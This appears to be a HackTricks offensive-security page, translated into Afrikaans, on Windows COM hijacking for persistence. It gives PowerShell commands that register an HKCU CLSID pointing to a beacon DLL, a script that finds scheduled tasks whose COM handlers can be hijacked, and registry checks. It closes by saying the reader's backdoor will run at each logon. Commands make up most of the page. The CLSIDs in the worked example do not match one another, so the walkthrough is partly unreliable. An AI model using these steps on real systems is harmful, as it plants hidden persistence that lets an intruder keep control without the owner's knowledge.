COM Hijacking

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Soek na nie-bestaande COM-komponente

Aangesien die waardes van HKCU deur die gebruikers gewysig kan word, kan COM Hijacking as 'n volhardende meganisme gebruik word. Met procmon is dit maklik om gesoekte COM-registers te vind wat nie bestaan nie wat 'n aanvaller kan skep om volharding te hê. Filters:

  • RegOpenKey operasies.

  • waar die Resultaat NAAM NIE GEVIND is.

  • en die Pad eindig met InprocServer32.

Sodra jy besluit het watter nie-bestaande COM om te verteenwoordig, voer die volgende opdragte uit. Wees versigtig as jy besluit om 'n COM te verteenwoordig wat elke paar sekondes gelaai word, aangesien dit oorbodig kan wees.

New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"

Hijackable Task Scheduler COM-komponente

Windows Take gebruik Aangepaste Triggers om COM-objekte aan te roep en omdat hulle deur die Taakbeplanner uitgevoer word, is dit makliker om te voorspel wanneer hulle geaktiveer gaan word.

# Wys COM CLSIDs
$Tasks = Get-ScheduledTask

foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
$usersSid = "S-1-5-32-545"
$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }

if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Taak Naam: " $Task.TaskName
Write-Host "Taak Pad: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}

# Voorbeeld Uitset:
# Taak Naam:  Voorbeeld
# Taak Pad:  \Microsoft\Windows\Voorbeeld\
# CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
# [meer soos die vorige een...]

Deur die uitset te kontroleer, kan jy een kies wat elke keer 'n gebruiker aanmeld gaan uitgevoer word, byvoorbeeld.

Nou, deur te soek na die CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} in HKEY_CLASSES_ROOT\CLSID en in HKLM en HKCU, sal jy gewoonlik vind dat die waarde nie in HKCU bestaan nie.

# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"

Name           Property
----           --------
InprocServer32 (default)      : C:\Windows\system32\some.dll
ThreadingModel : Both

# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize

Name                                   Property
----                                   --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler

# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.

Dan kan jy net die HKCU-invoer skep en elke keer wanneer die gebruiker aanmeld, sal jou backdoor geaktiveer word.

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Last updated